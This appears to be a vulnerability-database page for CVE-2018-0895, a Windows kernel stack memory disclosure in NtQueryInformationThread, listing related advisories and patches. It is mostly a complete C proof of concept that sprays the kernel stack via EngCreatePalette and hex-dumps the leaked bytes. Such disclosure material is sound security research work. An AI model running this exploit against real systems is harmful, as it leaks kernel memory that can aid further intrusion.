Lucene search
K

Windows Kernel 64-bit stack memory disclosure in NtQueryInformationThread(ThreadBasicInformation)(CVE-2018-0895)

🗓️ 23 Mar 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 71 Views

Windows Kernel 64-bit stack memory disclosure in NtQueryInformationThread(CVE-2018-0895

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Windows Kernel - NtQueryInformationThread(ThreadBasicInformation) 64-bit Stack Memory Disc
20 Mar 201800:00
zdt
Circl
CVE-2018-0895
20 Mar 201800:00
circl
CNVD
Microsoft Windows Kernel Information Disclosure Vulnerability (CNVD-2018-06766)
15 Mar 201800:00
cnvd
CVE
CVE-2018-0895
14 Mar 201817:00
cve
Cvelist
CVE-2018-0895
14 Mar 201817:00
cvelist
EUVD
EUVD-2018-1685
14 Mar 201817:00
euvd
EUVD
EUVD-2018-1686
7 Oct 202500:30
euvd
EUVD
EUVD-2018-1692
14 Mar 201817:00
euvd
Microsoft KB
March 13, 2018—KB4088776 (OS Build 16299.309)
6 Apr 201807:00
mskb
Microsoft KB
March 13, 2018—KB4088779 (OS Build 10586.1478)
6 Apr 201807:00
mskb
Rows per page

                                                #include <Windows.h>
#include <winternl.h>
#include <cstdio>

#define ThreadBasicInformation ((THREADINFOCLASS)0)

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(*EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

int main() {
  SprayKernelStack();

  BYTE OutputBuffer[48] = { /* zero padding */ };
  ULONG ReturnLength;
  NTSTATUS st = NtQueryInformationThread(GetCurrentThread(), ThreadBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationThread failed, %x\n", st);
    return 1;
  }

  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation